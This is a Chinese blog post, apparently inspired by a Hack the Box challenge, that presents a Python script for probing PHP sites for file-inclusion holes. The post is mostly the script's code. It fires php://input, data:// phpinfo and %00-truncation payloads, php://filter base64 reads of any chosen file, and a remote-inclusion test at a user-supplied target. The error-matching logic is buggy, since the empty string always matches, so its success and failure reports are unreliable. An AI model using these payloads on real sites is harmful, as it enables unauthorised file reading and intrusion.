python打造文件包含漏洞检测工具

0x00前言：

做Hack the box的题。感觉那个平台得开个VIp

不然得凉。一天只能重置一次。。。mmp

做的那题毒药是文件包含漏洞的题，涉及到了某个工具

看的不错就开发了一个。

0x01代码：

import requests
import threading
import os
import time
import sys

cookies={}
urls=input('Please enter the target:')
user=input('Enter the file you want to read:')
user2=input('Enter your cookie:')
for lie in user2.split(';'):
    key,value=lie.split('=',1)
    cookies[key]=value
payload='php://input'
payload2='data:text/plain,<?php phpinfo();?>%00'
payload2s='data:text/plain,<?php phpinfo();?>'
payload3='php://filter/read=convert.base64-encode/resource={}'.format(user)
error=['','Not Found','Warning','不存在','找不到','防火墙','安全狗','云锁']

def exploitone(user):
    headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
    url=user
    pocone=url+payload
    poctwo=url+payload2
    pocsan=url+payload3
    pocsi=url+payload2s
    request=requests.get(url=pocone,headers=headers,cookies=cookies)
    request2=requests.get(url=poctwo,headers=headers,cookies=cookies)
    request3=requests.get(url=pocsan,headers=headers,cookies=cookies)
    request4=requests.get(url=pocsi,headers=headers,cookies=cookies)
    ok=[]
    for e in error:
        if request.status_code==200:
            if e in str(request.text):
                print('[-]Php://input protocol does not support')
            else:
                ok.append('[+]Support php://input protocol Poc:{}'.format(request.url))

        if request2.status_code==200:
            if e in str(request2.text):
                print('[-]Data:// protocol that does not support%00 truncation')
            else:
                ok.append('[+]Data:// protocol that supports%00 truncation Poc2:{}'.format(request2.url))

        if request3.status_code==200:
            if e in str(request3.text):
                print('[-]Do not support the use of php://filter/read=convert.base64-encode/resource=')
            else:
                ok.append('[+]Support php://filter/read=convert.base64-encode/resource= Poc3:{}'.format(request3.url))

        if request4.status_code==200:
            if e in str(request4.text):
                print('[-]Data:// protocol does not support')
            else:
                ok.append('[+]Support with data:// protocol Poc4:{}'.format(request4.url))

    if len(ok)>0:
        v=list(set(ok))
        for vv in v:
            print(vv)

exploitone(urls.rstrip())

def exploittwo():
    poc='http://www.baidu.com'
    url=urls.rstrip()+poc
    headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}
    request2=requests.get(url=url,headers=headers,cookies=cookies)
    yuan=[]
    for e in error:
        if request2.status_code==200:
            if e in str(request2.text):
                print('[-]Remote inclusion failure')
            else:
                yuan.append('[+]Allow remote inclusion poc:{}'.format(request2.url))
    if len(yuan)>0:
        s=list(set(yuan))
        for b in s:
            print(b)
exploittwo()

测试：

思路：

先检测各种协议，然后测试远程包含漏洞

原本还有一个检测路径的，但是跑起来太慢。